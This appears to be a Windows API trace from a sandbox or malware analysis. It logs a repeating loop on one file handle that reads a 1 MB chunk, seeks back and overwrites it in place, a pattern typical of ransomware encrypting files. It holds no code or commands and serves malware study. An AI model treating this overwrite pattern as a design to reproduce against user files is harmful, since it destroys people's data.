	[0096.071] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.082] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.098] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.188] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.191] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.191] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.193] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.195] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.201] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.206] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.215] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.218] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.218] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.219] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.222] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.229] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.234] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.244] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.247] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.247] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.252] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.255] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.267] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.271] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.281] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.284] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.284] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.285] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.288] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.296] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.308] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.320] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.324] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.324] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.326] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.330] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.337] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.343] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.354] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.357] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.357] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.358] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.361] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.381] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.386] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.395] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.398] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.398] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.399] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.402] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.409] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.414] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.424] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.427] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.427] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.428] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.431] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.445] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.452] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.465] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.470] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.470] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.480] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.484] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.491] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.496] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.540] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.544] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.544] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.546] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.550] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.571] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.577] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.587] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.591] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.591] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.593] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.597] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.602] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.607] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.616] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.619] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.619] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.621] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.624] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.634] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.650] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.665] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.669] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.669] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.671] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.675] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.682] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.759] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.775] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.779] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.779] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.781] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.785] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.804] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.810] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.827] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.831] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.831] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.833] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.839] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.846] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.852] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.868] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.872] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.872] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.874] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.877] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.886] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.897] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.906] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.909] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.909] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.911] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.913] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.919] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.923] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.933] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.936] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.936] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.938] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.940] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.948] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.959] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.969] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.971] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.971] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.973] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.976] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.981] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.985] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0096.997] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.001] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.001] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.002] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.005] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.015] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.029] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.045] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.048] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.048] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.049] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.052] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.057] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.062] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.075] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.078] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.078] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.079] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.082] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.089] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.094] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.111] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.114] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.114] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.115] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.119] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.124] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.129] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.139] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.142] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
